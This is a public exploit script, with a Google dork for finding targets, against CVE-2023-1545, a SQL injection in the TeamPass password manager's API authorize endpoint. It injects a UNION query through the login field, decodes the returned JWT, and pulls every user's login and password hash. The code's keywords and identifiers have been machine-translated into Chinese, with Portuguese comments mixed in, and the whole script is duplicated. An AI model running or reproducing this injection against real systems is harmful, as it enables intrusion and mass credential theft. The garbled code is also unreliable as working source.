#利用标题: Teampass SQL注入
#Google Dork: Intitle:'teamPass' + inurl:Index.php?page=项目
#日期: 02/23/2025
#利用作者: Max Meyer -Rivendell
#供应商HomePage3360 http://www.teampass.net
#软件link: https://github.com/nilsteampassnet/teampass
#版本: 2.1.24和先验
#在: Windows/Linux上测试
#CVE : CVE-2023-1545
#!/usr/bin/env Python3
导入系统
进口JSON
导入基础64
导入记录
导入请求
通过输入导入可选,dict,任何
从数据级导入数据级
#ConfiguraçãoDe Logging
logging.basicconfig(
level=logging.info,
格式='%(asctime)s-%(levelName)s-%(消息)s'
)
logger=logging.getLogger(名称)
@DataClass
Class tempassexploit:
base_url: str
punterary_hash: str='$ 2Y $ 10 $ u5s27wyjcvbaptrihrsx7.iimx/wxra8/tkvwdawq/iduklikmbhq'
def __post_init __(self):
self.vulnerable_url=f'{self.base_url}/api/index.php/authorize'
def check_api_enabled(self)-boo:
'''verifica se apiestáhabilitada。''''
TRY:
响应=requests.get(self.vulnerable_url)
如果不允许使用“ API使用”。Text:
logger.error(“未启用API功能”)
返回false
返回true
除了请求。
logger.error(f'erro ao verificar api: {e}')
返回false
def execute_sql(self,sql_query: str) - 可选[str] :
'''ofecuta uma查询sqlatravésda vulnerabilidade。''''
TRY:
注入=f'none'联合选择ID,'{self.arbitrary_hash}',({sql_query}),private_key,'\
'personal_folder,fonction_id,groups_visibles,groups_interdits,'foo''\
'来自teampass_users登录='admin'
数据={
'login':注射,
'password':'h4ck3d',
'apikey':'foo'
}
响应=requests.post(
self.vulnerable_url,
标题={'content-type':'应用程序/json'},
JSON=数据
)
如果不是响应,则OK:
logger.error(f'erro narequisição:{wendesp.status_code}')
没有返回
token=wendesp.json()。get('token')
如果不是Token:
logger.error('tokennãoencontrado na resposta')
没有返回
#decodifica o令牌JWT
token_parts=token.split('。')
如果len(token_parts)2:
logger.error('token jwtinválido')
没有返回
有效载荷=base64.b64decode(token_parts [1] +'=' *(-len(token_parts [1])%4))
返回json.loads(有效载荷).get('public_key')
除异常外,E:
logger.error(f'erro ao executar sql: {e}')
没有返回
def get_user_credentials(self) - 可选[dict [str,str]] :
'''gertémcredenciaisde todososUsuários。''''
TRY:
#gertémNúmeroTotaldeUsuários
user_count=self.execute_sql('select count(*)来自teampass_users where pw!='')
如果不是user_count或没有user_count.isdigit():
logger.error('nãofoipossívelobter onúmerodeusuários')
没有返回
user_count=int(user_count)
logger.info(f'Encontrados {user_count}usuáriosno sistema')
凭据={}
对于我在范围(user_count):
用户名=self.execute_sql(
f'Select从teampass_users pw!=''订单login asc limit {i},1'
)
密码=self.execute_sql(
f'Select pw来自teampass_users where pw!=''订单by login asc limit {i},1'
)
如果用户名和密码:
凭据[用户名]=密码
logger.info(f'credenciais obstidas para: {username}')
返回凭据
除异常外,E:
logger.error(f'erro ao obter credenciais: {e}')
没有返回
def main():
如果Len(sys.argv)2:
logger.error('USAGE: PYTHON3 script.py base-url')
sys.exit(1)
exploit=teampassexploit(sys.argv [1])
如果不是exploit.check_api_enabled():
sys.exit(1)
凭据=exploit.get_user_credentials()
如果凭证:
打印('\ ncredenciais encontradas:')
对于用户名,recredentials.items():中的密码
打印(f'{username} : {password}')
如果name=='__ -Main __':
主要的()
#Google Dork: Intitle:'teamPass' + inurl:Index.php?page=项目
#日期: 02/23/2025
#利用作者: Max Meyer -Rivendell
#供应商HomePage3360 http://www.teampass.net
#软件link: https://github.com/nilsteampassnet/teampass
#版本: 2.1.24和先验
#在: Windows/Linux上测试
#CVE : CVE-2023-1545
#!/usr/bin/env Python3
导入系统
进口JSON
导入基础64
导入记录
导入请求
通过输入导入可选,dict,任何
从数据级导入数据级
#ConfiguraçãoDe Logging
logging.basicconfig(
level=logging.info,
格式='%(asctime)s-%(levelName)s-%(消息)s'
)
logger=logging.getLogger(名称)
@DataClass
Class tempassexploit:
base_url: str
punterary_hash: str='$ 2Y $ 10 $ u5s27wyjcvbaptrihrsx7.iimx/wxra8/tkvwdawq/iduklikmbhq'
def __post_init __(self):
self.vulnerable_url=f'{self.base_url}/api/index.php/authorize'
def check_api_enabled(self)-boo:
'''verifica se apiestáhabilitada。''''
TRY:
响应=requests.get(self.vulnerable_url)
如果不允许使用“ API使用”。Text:
logger.error(“未启用API功能”)
返回false
返回true
除了请求。
logger.error(f'erro ao verificar api: {e}')
返回false
def execute_sql(self,sql_query: str) - 可选[str] :
'''ofecuta uma查询sqlatravésda vulnerabilidade。''''
TRY:
注入=f'none'联合选择ID,'{self.arbitrary_hash}',({sql_query}),private_key,'\
'personal_folder,fonction_id,groups_visibles,groups_interdits,'foo''\
'来自teampass_users登录='admin'
数据={
'login':注射,
'password':'h4ck3d',
'apikey':'foo'
}
响应=requests.post(
self.vulnerable_url,
标题={'content-type':'应用程序/json'},
JSON=数据
)
如果不是响应,则OK:
logger.error(f'erro narequisição:{wendesp.status_code}')
没有返回
token=wendesp.json()。get('token')
如果不是Token:
logger.error('tokennãoencontrado na resposta')
没有返回
#decodifica o令牌JWT
token_parts=token.split('。')
如果len(token_parts)2:
logger.error('token jwtinválido')
没有返回
有效载荷=base64.b64decode(token_parts [1] +'=' *(-len(token_parts [1])%4))
返回json.loads(有效载荷).get('public_key')
除异常外,E:
logger.error(f'erro ao executar sql: {e}')
没有返回
def get_user_credentials(self) - 可选[dict [str,str]] :
'''gertémcredenciaisde todososUsuários。''''
TRY:
#gertémNúmeroTotaldeUsuários
user_count=self.execute_sql('select count(*)来自teampass_users where pw!='')
如果不是user_count或没有user_count.isdigit():
logger.error('nãofoipossívelobter onúmerodeusuários')
没有返回
user_count=int(user_count)
logger.info(f'Encontrados {user_count}usuáriosno sistema')
凭据={}
对于我在范围(user_count):
用户名=self.execute_sql(
f'Select从teampass_users pw!=''订单login asc limit {i},1'
)
密码=self.execute_sql(
f'Select pw来自teampass_users where pw!=''订单by login asc limit {i},1'
)
如果用户名和密码:
凭据[用户名]=密码
logger.info(f'credenciais obstidas para: {username}')
返回凭据
除异常外,E:
logger.error(f'erro ao obter credenciais: {e}')
没有返回
def main():
如果Len(sys.argv)2:
logger.error('USAGE: PYTHON3 script.py base-url')
sys.exit(1)
exploit=teampassexploit(sys.argv [1])
如果不是exploit.check_api_enabled():
sys.exit(1)
凭据=exploit.get_user_credentials()
如果凭证:
打印('\ ncredenciais encontradas:')
对于用户名,recredentials.items():中的密码
打印(f'{username} : {password}')
如果name=='__ -Main __':
主要的()